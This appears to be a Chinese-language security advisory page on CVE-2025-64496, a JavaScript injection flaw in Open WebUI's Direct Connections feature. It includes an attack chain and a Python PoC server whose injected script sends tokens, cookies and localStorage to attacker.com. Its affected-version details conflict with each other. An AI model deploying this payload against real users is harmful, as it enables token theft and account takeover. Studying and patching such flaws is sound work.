IPBUF安全漏洞报告
English
CVE-2025-64496 CVSS 7.3 高危

CVE-2025-64496 Open WebUI Direct Connections代码注入漏洞

披露日期: 2025-11-08

漏洞信息

漏洞编号
CVE-2025-64496
漏洞类型
代码注入,XSS,远程代码执行
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Open WebUI

相关标签

代码注入XSS跨站脚本远程代码执行Server-Sent Event账户接管令牌窃取Open WebUIDirect ConnectionsCVE-2025-64496

漏洞概述

Open WebUI是一个自托管的人工智能平台,设计用于完全离线运行。该平台0.6.224及之前版本中的Direct Connections功能存在严重的代码注入漏洞。攻击者可以通过构造恶意的外部模型服务器,在Server-Sent Event (SSE) execute事件中注入任意JavaScript代码,当受害者浏览器连接该恶意服务器时,注入的代码会自动执行。此漏洞可导致认证令牌被盗用、账户被完全接管,甚至结合Functions API实现后端服务器的远程代码执行。攻击成功需要受害者主动启用Direct Connections功能(该功能默认禁用)并添加攻击者控制的恶意模型URL,通常需要通过社会工程学手段诱骗管理员和用户添加恶意服务器地址。

技术细节

该漏洞存在于Open WebUI的Direct Connections功能模块中,该功能允许用户连接外部AI模型服务器。攻击者利用Server-Sent Event (SSE)协议的execute事件机制,在SSE响应流中注入恶意JavaScript代码。SSE协议本身支持在事件流中传输可执行指令,当Open WebUI的前端解析这些事件时,未对内容进行充分的输入验证和输出编码,直接将攻击者可控的数据作为JavaScript代码执行。具体利用过程:攻击者搭建一个恶意的模型服务器,该服务器返回的SSE响应中包含带有恶意payload的事件(如:data: <script>alert(document.cookie)</script>或data: execute(恶意代码))。当受害者在Open WebUI中添加此恶意模型URL并建立连接后,浏览器会解析SSE响应并执行注入的代码。由于Open WebUI使用JWT等令牌进行身份认证,恶意JavaScript可以读取存储在浏览器中的认证令牌并发送到攻击者控制的服务器。攻击者获取令牌后可接管账户,并可进一步利用Functions API的功能实现后端服务器的远程代码执行。

攻击链分析

STEP 1
步骤1: 搭建恶意服务器
攻击者搭建一个恶意的模型服务器,该服务器返回的SSE响应中包含恶意JavaScript代码,用于窃取认证令牌和用户数据
STEP 2
步骤2: 社会工程学攻击
攻击者通过社会工程学手段诱骗Open WebUI管理员将恶意模型URL添加到Direct Connections功能中,可能通过钓鱼邮件、虚假技术支持等方式
STEP 3
步骤3: 等待受害者连接
当管理员或其他用户启用Direct Connections并连接到攻击者的恶意服务器时,浏览器开始接收SSE响应流
STEP 4
步骤4: JavaScript执行
受害者浏览器解析SSE响应中的execute事件时,未进行充分的安全过滤,直接执行注入的恶意JavaScript代码
STEP 5
步骤5: 令牌窃取
恶意JavaScript从浏览器localStorage或cookie中提取认证令牌,并将令牌发送到攻击者控制的服务器
STEP 6
步骤6: 账户接管
攻击者使用窃取的令牌冒充受害者登录Open WebUI,获得受害者的完整访问权限
STEP 7
步骤7: 远程代码执行(可选)
攻击者进一步利用Functions API的功能,结合已获取的权限,在后端服务器上执行任意系统命令,实现完整的远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-64496 PoC - Malicious Model Server # This PoC demonstrates how an attacker can inject malicious JavaScript # through SSE execute events in Open WebUI's Direct Connections feature from flask import Flask, Response import time app = Flask(__name__) @app.route('/v1/chat/completions') def malicious_sse(): """ Malicious SSE endpoint that injects JavaScript for: 1. Stealing authentication tokens 2. Performing account takeover 3. Enabling RCE via Functions API (if chained) """ # Malicious JavaScript payload for token theft # This script steals the auth token and sends it to attacker server malicious_js = ''' (function() { // Steal authentication token from localStorage var token = localStorage.getItem('token') || localStorage.getItem('auth-token') || document.cookie.match(/token=([^;]+)/)?.[1]; // Send token to attacker's server if (token) { fetch('https://attacker.com/steal?token=' + encodeURIComponent(token)) .then(r => r.json()) .then(data => { console.log('Token stolen:', token); // Additional actions for account takeover }); } // Exfiltrate user data var userData = { cookies: document.cookie, localStorage: Object.keys(localStorage).reduce((obj, key) => { obj[key] = localStorage.getItem(key); return obj; }, {}) }; fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(userData), headers: {'Content-Type': 'application/json'} }); })(); ''' # Escape JavaScript for SSE injection escaped_js = malicious_js.replace('\n', '\\n').replace('"', '\\"') def generate(): # Send SSE event with injected JavaScript yield f"data: {escaped_js}\n\n" # Send legitimate-looking response yield f"data: {{\"id\":\"chatcmpl-malicious\",\"object\":\"chat.completion.chunk\",\"created\":{int(time.time())},\"model\":\"malicious-model\",\"choices\":[{{\"index\":0,\"delta\":{{\"content\":\"This is a legitimate response\"}},\"finish_reason\":\"stop\"}}]}}\n\n" yield "data: [DONE]\n\n" return Response(generate(), mimetype='text/event-stream') if __name__ == '__main__': # Run on port 8080 app.run(host='0.0.0.0', port=8080, debug=True) # Usage: # 1. Deploy this malicious server # 2. Social engineer admin to add malicious model URL in Direct Connections # 3. When any user connects, the JavaScript will execute and steal tokens # 4. Attacker uses stolen token to take over accounts

影响范围

Open WebUI < 0.6.35
Open WebUI 0.6.224及之前版本

防御指南

临时缓解措施
临时缓解措施:在Open WebUI管理界面中禁用Direct Connections功能(该功能默认禁用)。如果必须使用Direct Connections功能,只添加完全可信的模型服务器URL,不要添加来源不明的外部模型服务。同时监控日志中是否存在异常的外部连接请求。建议尽快升级到官方修复版本0.6.35或更高版本以彻底消除该安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表